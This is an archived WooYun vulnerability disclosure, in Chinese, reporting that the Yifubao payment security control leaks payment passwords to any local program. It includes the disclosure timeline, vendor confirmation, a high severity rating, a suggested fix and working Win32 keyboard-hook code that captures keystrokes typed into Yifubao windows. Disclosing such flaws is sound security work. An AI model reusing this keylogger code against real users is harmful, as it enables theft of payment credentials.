乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-04-04: 细节已通知厂商并且等待厂商处理中 2015-04-05: 厂商已经确认,细节仅向厂商公开 2015-04-08: 细节向第三方安全合作伙伴开放 2015-05-30: 细节向核心白帽子及相关领域专家公开 2015-06-09: 细节向普通白帽子公开 2015-06-19: 细节向实习白帽子公开 2015-07-04: 细节向公众公开
易付宝安全支付控件存在设计漏洞,任意简单的本地程序均可轻易截获用户输入的支付密码。
易付宝安全控件对键盘输入做的防护不够全面,任意本地程序依然可以通过键盘钩子截获用户输入的支付密码,无需注入,无需加载驱动就可以实现。效果展示:
HHOOK g_hk = NULL;TCHAR g_buff[100] = { 0 };int g_index = 0;LRESULT CALLBACK Hook(int nCode, WPARAM wp, LPARAM lp){ static DWORD a_other[] = { VK_CAPITAL, VK_LSHIFT, VK_RSHIFT, VK_LCONTROL, VK_RCONTROL, VK_LMENU, VK_RMENU, }; KBDLLHOOKSTRUCT* pLL = ((KBDLLHOOKSTRUCT*)lp); DWORD vk = pLL->vkCode; for(int i = 0; i < sizeof(a_other)/sizeof(*a_other); ++i) { if(vk == a_other[i]) { return CallNextHookEx(g_hk, nCode, wp, lp); } } if(nCode >= 0 && WM_KEYUP == (DWORD)wp) { POINT pt = { 0 }; GetCursorPos(&pt); HWND hwnd = WindowFromPoint(pt); if(hwnd) { BOOL bGood = FALSE; TCHAR szTitle[100] = { 0 }; for (int i = 0; i < 10 && hwnd; ++i) { hwnd = GetParent(hwnd); SendMessage(hwnd, WM_GETTEXT, (WPARAM)100, (LPARAM)szTitle); if(_tcsstr(szTitle, _T("易付宝"))) { bGood = TRUE; break; } } if(bGood) { TCHAR ch = (TCHAR)vk; if(vk >= VK_NUMPAD0 && vk <= VK_NUMPAD9) { ch = vk - 0x30; } else if('A' <= vk && 'Z' >= vk && 0 == LOBYTE(GetKeyState(VK_CAPITAL))) { ch = vk + ('a' - 'A'); } else if(vk >= 0x30 && vk <= 0x39 && (0x8000 & GetKeyState(VK_SHIFT))) { switch (vk) { case 0x32: ch = _T('@'); break; case 0x33: ch = _T('#'); break; case 0x34: ch = _T('$'); break; case 0x35: ch = _T('%'); break; case 0x36: ch = _T('^'); break; case 0x37: ch = _T('&'); break; case 0x38: ch = _T('*'); break; } } else if(VK_MULTIPLY == vk) { ch = _T('*'); } g_buff[g_index++] = ch; OutputDebugStringW(g_buff); } } } return CallNextHookEx(g_hk, nCode, wp, lp);}SetWindowsHookEx(WH_KEYBOARD_LL, Hook, GetModuleHandle(NULL), 0);
任意具备消息循环的windows程序通过以上代码都可以实现对支付密码的截获。
加强对键盘输入的防御逻辑,保证自身优先获得键盘输入。
危害等级:高
漏洞Rank:20
确认时间:2015-04-05 10:10
感谢提交,先行确认,工作日反馈相关部门。
暂无